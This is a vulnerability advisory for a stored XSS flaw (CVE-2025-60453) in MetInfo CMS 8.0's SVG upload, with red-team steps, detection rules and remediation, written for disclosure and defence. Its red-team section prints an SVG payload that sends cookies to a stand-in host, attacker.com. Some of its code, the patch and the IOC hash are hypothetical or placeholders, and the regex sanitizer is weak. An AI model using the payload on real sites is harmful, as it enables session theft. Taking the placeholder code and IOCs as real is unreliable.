CVE-2025-60453

Executive Summary

CVE-2025-60453 is a stored Cross-Site Scripting (XSS) vulnerability in MetInfo CMS version 8.0. The flaw resides in the column management module (app/system/column/admin/index.class.php), allowing authenticated attackers with administrative privileges to upload malicious SVG files containing JavaScript. When other users (including other admins or visitors) view the uploaded SVG, the embedded script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the MetInfo CMS source code. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) but assessed as 6.1 (Medium) based on vector analysis.
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated admin)
• User Interaction: Required (victim must view the SVG)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low (data exfiltration possible)
• Integrity Impact: Low (content modification)
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin credentials, but the impact can be severe if a privileged user triggers the payload.

Deep Dive & Mechanics

The vulnerability exists in the column management module of MetInfo CMS 8.0. The file app/system/column/admin/index.class.php handles file uploads for column icons or images. The application fails to properly validate the file type and content of uploaded SVG files. SVG (Scalable Vector Graphics) files are XML-based and can contain embedded JavaScript within <script> tags or event handlers (e.g., onload).

When an attacker uploads a malicious SVG, the server stores it without sanitization. When any user (including other administrators) accesses the uploaded SVG via its URL, the browser renders the SVG and executes the embedded JavaScript. This is a classic stored XSS attack vector.

Root Cause: Lack of file type validation and content sanitization for SVG uploads. The application does not check for malicious content within SVG files or restrict the upload to safe image formats (e.g., PNG, JPEG).

Vulnerable vs. Patched Code

Vulnerable Code (MetInfo 8.0): The upload handler in app/system/column/admin/index.class.php likely uses a generic file upload function that only checks the file extension (e.g., .svg) but does not sanitize the content.

// Vulnerable snippet (conceptual)
if (in_array($file_ext, ['svg', 'png', 'jpg'])) {
    move_uploaded_file($file_tmp, $upload_path);
}

Patched Code (Hypothetical): A patch would validate the file content, strip script tags, and restrict SVG uploads or convert them to safe formats.

// Patched snippet (conceptual)
if ($file_ext === 'svg') {
    $svg_content = file_get_contents($file_tmp);
    // Remove script tags and event handlers
    $svg_content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svg_content);
    $svg_content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svg_content);
    file_put_contents($upload_path, $svg_content);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials to MetInfo CMS 8.0.
• Access to the column management module.

Steps:

1. Create a malicious SVG file with embedded JavaScript. Example payload:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       alert('XSS');
     </script>
   </svg>
   

2. Log in to MetInfo CMS as an admin.
3. Navigate to the column management module (e.g., /admin/index.php?m=column&a=add).
4. Upload the malicious SVG as a column icon or image.
5. Obtain the URL of the uploaded SVG (e.g., /upload/2025/01/malicious.svg).
6. Share the URL with a target user or wait for an admin to view the column settings.

Advanced Payload: Steal cookies:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
  </script>
</svg>

Blue Team

Detection:

• Monitor file upload logs for SVG files uploaded by admin users.
• Inspect SVG files for <script> tags or event handlers (e.g., onload, onclick).
• Use WAF rules to block SVG uploads containing JavaScript.

Hunting:

• Search for recently uploaded SVG files in the upload directory.
• Check web server logs for requests to SVG files with unusual parameters.
• Review admin activity logs for suspicious uploads.

Mitigation:

• Disable SVG uploads if not required.
• Implement content security policy (CSP) headers to block inline scripts.
• Use a file sanitization library (e.g., DOMPurify for server-side).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example - replace with actual)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• File Paths:
  • /upload/2025/*/*.svg
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the CMS server.
• Log Entries:
  • POST /admin/index.php?m=column&a=add with file upload.
  • GET /upload/*.svg with User-Agent containing non-browser strings.

Detection Engineering

YARA Rule

rule MetInfo_SVG_XSS_CVE_2025_60453 {
    meta:
        description = "Detects malicious SVG files targeting CVE-2025-60453 in MetInfo CMS"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-60453"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $event_handler = /\bon\w+\s*=/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $event_handler)
}

Sigma Rule

title: MetInfo CMS SVG Upload XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded JavaScript to MetInfo CMS
author: Valters IT
date: 2025/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '*m=column*'
        cs-uri-extension: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG uploads without scripts
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MetInfo CMS SVG XSS Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"m=column"; http_uri; content:".svg"; http_uri; pcre:"/<script\b[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the column management module until a patch is available.
2. Implement file type validation to only allow safe image formats (PNG, JPEG, GIF).
3. Add Content Security Policy (CSP) headers to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'none';
   

4. Sanitize uploaded SVG files using a library like svg-sanitizer (PHP) or DOMPurify (Node.js).

Long-term Fix:

• Apply vendor patch when released.
• Upgrade to a patched version of MetInfo CMS.
• Conduct a security audit of file upload functionality.

Workaround:

• Use a web application firewall (WAF) to block SVG uploads containing <script> tags or event handlers.

Valters IT
Securing Digital Frontiers